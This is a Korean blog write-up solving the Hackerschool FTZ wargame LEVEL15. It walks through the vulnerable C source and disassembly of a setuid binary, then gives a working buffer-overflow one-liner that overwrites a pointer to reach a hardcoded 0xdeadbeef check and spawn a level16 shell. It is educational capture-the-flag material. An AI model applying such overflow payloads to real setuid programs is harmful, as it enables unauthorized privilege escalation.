[해커스쿨] FTZ LEVEL15 문제 풀이
ㅁ 문제 요약
문제 유형 | System Hacking |
문제 타입 | Linux |
문제 난이도 | 하 |
ㅁ 상세분석
[그림 1] 문제 내용
LEVEL15 계정으로 로그인 하고 hint 파일 내용을 소스 코드를 보여주고 /home/level15 폴더에 setuid가 걸린 attackme 파일이 존재한다.
#include <stdio.h>
main() { int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); } } |
[그림 2] 문제 소스코드 분석
소스 코드 분석을 해보면 fgets 함수를 사용하는데 입력 버퍼보다 많은 버퍼를 사용해서 버퍼 오버플로우 취약점이 발생한다. if 문의 조건을 만족시키면 LEVEL16 계정의 shell을 획득할 수 있다.
Dump of assembler code for function main: 0x08048490 <main+0>: push ebp 0x08048491 <main+1>: mov ebp,esp 0x08048493 <main+3>: sub esp,0x38 0x08048496 <main+6>: sub esp,0x4 0x08048499 <main+9>: push ds:0x8049664 0x0804849f <main+15>: push 0x2d 0x080484a1 <main+17>: lea eax,[ebp-56] 0x080484a4 <main+20>: push eax 0x080484a5 <main+21>: call 0x8048360 <fgets> 0x080484aa <main+26>: add esp,0x10 0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16] 0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef 0x080484b6 <main+38>: jne 0x80484dd <main+77> 0x080484b8 <main+40>: sub esp,0x8 0x080484bb <main+43>: push 0xc18 0x080484c0 <main+48>: push 0xc18 0x080484c5 <main+53>: call 0x8048380 <setreuid> 0x080484ca <main+58>: add esp,0x10 0x080484cd <main+61>: sub esp,0xc 0x080484d0 <main+64>: push 0x8048548 0x080484d5 <main+69>: call 0x8048340 <system> 0x080484da <main+74>: add esp,0x10 0x080484dd <main+77>: leave 0x080484de <main+78>: ret 0x080484df <main+79>: nop End of assembler dump. |
[그림 3] main 함수 disassembly
main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. fgets 함수를 사용해서 버퍼 오버플로우 문제가 발생한다. check 변수에 0xdeadbeef 값이 존재해야 조건문 안에 있는 코드가 동작하기 때문에 check 변수 주소를 구해서 0xdeadbeef 값을 넣어야 한다. LEVEL14 문제와 비슷하고 포인터 변수를 사용한다는 점에서 차이가 있다.
[그림 4] 0xdeadbeef 주소 확인
0x080484b0에서 cmp 어셈블리 명령어를 이용해서 eax 레지스터와 값을 비교하고 있는데 0xdeadbeef 값이 하드 코딩되어 있는 상태라서 프로그램 내부에 존재하게 된다.
[그림 5] 공격 코드 구조
공격 코드 구조를 살펴보면 40 바이트를 채우고 check 포인터 변수에 0x80484b2 주소를 넣어준다. 0x80484b2 주소는 0xdeadbeef 가리키고 있다.
최종 공격코드는 아래와 같다.
공격 코드: (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat) | ./attackme
[그림 6] 문제 결과
공격 코드를 입력하면 LEVEL16 권한의 shell을 획득하고 my-pass 입력하면 LEVEL16 계정의 패스워드를 획득할 수 있다.
'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글
[해커스쿨] FTZ LEVEL16 (0) | 2016.01.06 |
---|---|
[해커스쿨] FTZ LEVEL14 (0) | 2016.01.05 |
[해커스쿨] FTZ LEVEL13 (0) | 2016.01.04 |
[해커스쿨] FTZ LEVEL12 (0) | 2016.01.04 |
[해커스쿨] FTZ LEVEL11 (0) | 2016.01.04 |